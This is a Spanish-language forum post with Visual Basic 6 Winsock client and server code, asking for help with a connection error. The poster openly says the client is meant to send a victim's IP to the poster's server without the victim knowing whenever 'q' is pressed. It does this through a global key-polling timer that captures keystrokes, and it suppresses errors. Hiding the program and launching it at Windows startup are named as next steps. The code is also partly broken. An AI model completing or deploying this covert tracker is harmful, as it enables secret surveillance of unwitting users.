Hola estoy haciendo un trabajito cliente/servidor
y como aquí entra gente supuestamente de nivel
pues quiero que me ayudeis a resolver el problema,
bueno mi idea es la de obtener la ip de un hostremoto
todo ello de forma que cuando el cliente teclee
la tecla "q" me estará enviando su ip sin saber,
yo recibiré la ip en mi server, también programado para
trabajar de forma automática dispuesto a recibir cualquier
información del exterior, hasta aquí todo bien si el server
se ejecuta antes que el cliente.
El problema es cuando se ejecuta el cliente antes que el server
me da un error. (Creo que es porque el cliente se carga a través
del form_load y si el server está ejecutado no hay problema, lo chungo
es cuando el server se ejecuta después, la carga del form_load(cliente)
ya no puede establecer la conexión, y me da un error, error 40020).
Aquí os dejo el código para que lo comprobeis.
Los detalles del código no están terminados, como su ocultación y
su ejecución al inicio de windows (me refiero al cliente).
Cliente: texbox1 (multiline y scrollbar) / textbox2 / textbox3 /
textbox4 / winsock1 / timer1 / command1
option explicit
Private Declare Function GetKeyState Lib "user32" _
(ByVal nVirtKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Private Const VK_CAPITAL = &H14
'///////////////////////////////////
Private Sub Form_Load()
Text2.Text = "" 'aquí poneís la dirección del server
'vuestra ip
Text3.Text = "23" ' este es el puerto por el que nos conectaremos
Text4.Text = Winsock1.LocalIP 'esta es la ip del hostlocal
Form1.KeyPreview = True
Timer1.Interval = 1
Timer1.Enabled = True
'asignamos los datos de conexion
Winsock1.RemoteHost = Text2.Text
Winsock1.RemotePort = Text3.Text
'conectamos el socket
Winsock1.Close
Winsock1.Connect
End Sub
'////////////////////////////////
Private Sub Command1_Click()
'enviamos el contenido de Text4
Winsock1.SendData Text4.Text & vbCrLf
'apuntamos al final del contenido del TextBox e
'insertamos los nuevos datos obtenidos
Text1.SelStart = Len(Text1.Text) 'coloca el cursor al final del contenido
Text1.Text = Text1.Text & "Cliente >" & _
Text4.Text & vbCrLf 'mostramos los datos
Text1.SelStart = Len(Text1.Text) 'coloca el cursor al final del contenido
End Sub
'/////////////////////////////////////
'aquí asignamos una función a la tecla "q" para el envío de datos
Private Sub Timer1_Timer()
Dim Shift As String
Dim EstadoTecla As Long
Shift = GetAsyncKeyState(vbKeyShift)
EstadoTecla = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = False And Shift = 0 And _
(EstadoTecla And &H1) = &H1) _
Or (CAPSLOCKON = True And Shift <> 0 And _
(EstadoTecla And &H1) = &H1) Then
Command1_Click
End If
End Sub
'///////////////////////////////////
Private Sub Winsock1_Connect()
'desplegamos un mensaje en la ventana
Text1.Text = Text1.Text & _
"*** Conexion establecida." & vbCrLf
'desplazamos el scroll
Text1.SelStart = Len(Text1.Text) 'salto de párrafo
End Sub
'//////////////////////////////////////
Private Sub Winsock1_Close()
'cierra la conexion
Winsock1.Close
'desplegamos un mensaje en la ventana
Text1.SelStart = Len(Text1.Text)
Text1.Text = Text1.Text & "*** Conexion cerrada por el servidor." & vbCrLf
Text1.SelStart = Len(Text1.Text)
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim almacen As String 'variable para guardar los datos
'obtenemos los datos y los guardamos en una variable
Winsock1.GetData almacen
'apuntamos al final del contenido del TextBox e
'insertamos los nuevos datos obtenidos
Text1.SelStart = Len(Text1.Text) 'coloca el cursor al final del contenido
Text1.Text = Text1.Text & "Servidor >" & Buffer 'mostramos los datos
Text1.SelStart = Len(Text1.Text) 'coloca el cursor al final del contenido
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, _
Description As String, _
ByVal Scode As Long, _
ByVal Source As String, _
ByVal HelpFile As String, _
ByVal HelpContext As Long, _
CancelDisplay As Boolean)
CancelDisplay = True 'cancela el mensaje de error
End Sub
' función para distinguir las teclas mayúsculas y minúsculas
Public Function CAPSLOCKON() As Boolean
Static bOn As Boolean
Static bInit As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
Bueno ahora vamos con el server:
un textbox(multiline y scrollbar) y dos winsocks:
detalle, cuando pongais el segundo, le dais a
copiar y lo pegais, os saldrá un mensaje y dais
a aceptar, ahora tendreis tres, eliminad
el winsock2(1) y quedaros con con el winsock1 y
el winsock2(0). Esto es para poder establecer
conexiones simultáneas con varios sockets.
Private Sub Form_Load()
Timer1.Interval = 1
Timer1.Enabled = True
Winsock1.LocalPort = "23" 'ha de ser el mismo puerto
Winsock1.Listen
'desplegamos un mensaje en la ventana
Text1.SelStart = Len(Text1.Text)
Text1.Text = Text1.Text & _
"*** Esuchando conexiones." & vbCrLf
Text1.SelStart = Len(Text1.Text)
'desplegamos un mensaje en la ventana
Text1.SelStart = Len(Text1.Text)
Text1.Text = Text1.Text & _
"*** Conexion cerrada por el usuario." & vbCrLf
Text1.SelStart = Len(Text1.Text)
Dim numElementos As Integer 'numero de sockets
Dim i As Integer 'contador
'obtiene la cantidad de Winsocks que tenemos
numElementos = Winsock2.UBound
'recorre el arreglo de sockets
For i = 0 To numElementos
'si el socket se encuentra conectado...
If Winsock2(i).State = sckConnected Then
Winsock2(i).SendData Text1.Text & vbCrLf
Winsock2(i).GetData Text1.Text & vbCrLf
'apuntamos al final del contenido del TextBox e
'insertamos los nuevos datos obtenidos
Text1.SelStart = Len(Text1.Text) 'coloca el cursor al final del contenido
Text1.Text = Text1.Text & "Sock" & i & _
":Servidor >" & Text1.Text & vbCrLf 'mostramos los datos
Text1.SelStart = Len(Text1.Text) 'coloca el cursor al final del contenido
End If
Next
End Sub
'///////////////////////////////////////////////////
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Dim numSocket As Integer 'el numero del socket
'mostramos un mensaje en la ventana
Text1.SelStart = Len(Text1.Text)
Text1.Text = Text1.Text & "*** Peticion numero " & requestID & vbCrLf
Text1.SelStart = Len(Text1.Text)
'creamos un nuevo socket
numSocket = NuevoSocket
'aceptamos la conexion con el nuevo socket
Winsock2(numSocket).Accept requestID
'desplegamos un mensaje en la ventana
Text1.SelStart = Len(Text1.Text)
Text1.Text = Text1.Text & "Sock" & numSocket & _
":*** Conexion aceptada, listo para interactuar." & vbCrLf
Text1.SelStart = Len(Text1.Text)
End Sub
'//////////////////////////////////////////////
Private Sub Winsock1_Close()
'cierra la conexion
Winsock1.Close
'desplegamos un mensaje en la ventana
Text1.SelStart = Len(Text1.Text)
Text1.Text = Text1.Text & _
"*** Conexion cerrada por el Cliente." & vbCrLf
Text1.SelStart = Len(Text1.Text)
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, _
Description As String, ByVal Scode As Long, _
ByVal Source As String, ByVal HelpFile As String, _
ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
End Sub
'//////////////////////////////////////////////
Private Sub Winsock2_DataArrival(Index As Integer, _
ByVal bytesTotal As Long)
Dim Buffer As String 'variable para guardar los datos
'obtenemos los datos y los guardamos en una variable
Winsock2(Index).GetData Buffer
Winsock2(Index).SendData Buffer & Text1.Text
'apuntamos al final del contenido del TextBox e
'insertamos los nuevos datos obtenidos
Text1.SelStart = Len(Text1.Text) 'coloca el cursor al final del contenido
Text1.Text = Text1.Text & "Sock" & Index & ":Cliente >" & Buffer
'mostramos los datos
Text1.SelStart = Len(Text1.Text) 'coloca el cursor al final del contenido
End Sub
'//////////////////////////////////////////////
Private Sub Winsock2_Error(Index As Integer, _
ByVal Number As Integer, Description As String, _
ByVal Scode As Long, ByVal Source As String, _
ByVal HelpFile As String, _
ByVal HelpContext As Long, CancelDisplay As Boolean)
'cerramos la conexion
Winsock2(Index).Close
CancelDisplay = true ' para que no muestre el mensaje de error
End Sub
'////////////////////////////////////////////////////////////
'Carga un nuevo socket al arreglo y devuelve su indice
Private Function NuevoSocket() As Integer
Dim numElementos As Integer 'numero de sockets
Dim i As Integer 'contador
'obtiene la cantidad de Winsocks que tenemos
numElementos = Winsock2.UBound
'recorre el arreglo de sockets
For i = 0 To numElementos
'si algun socket ya creado esta inactivo
'utiliza este mismo para la nueva conexion
If Winsock2(i).State = sckClosed Then
NuevoSocket = i 'retorna el indice
Exit Function 'abandona la funcion
End If
Next
'si no encuentra sockets inactivos
'crea uno nuevo y devuelve su identidad
Load Winsock2(numElementos + 1) 'carga un nuevo socket al arreglo
'devuelve el nuevo indice
NuevoSocket = Winsock2.UBound
End Function
Espero que lo probeis y me deis respuestas :)
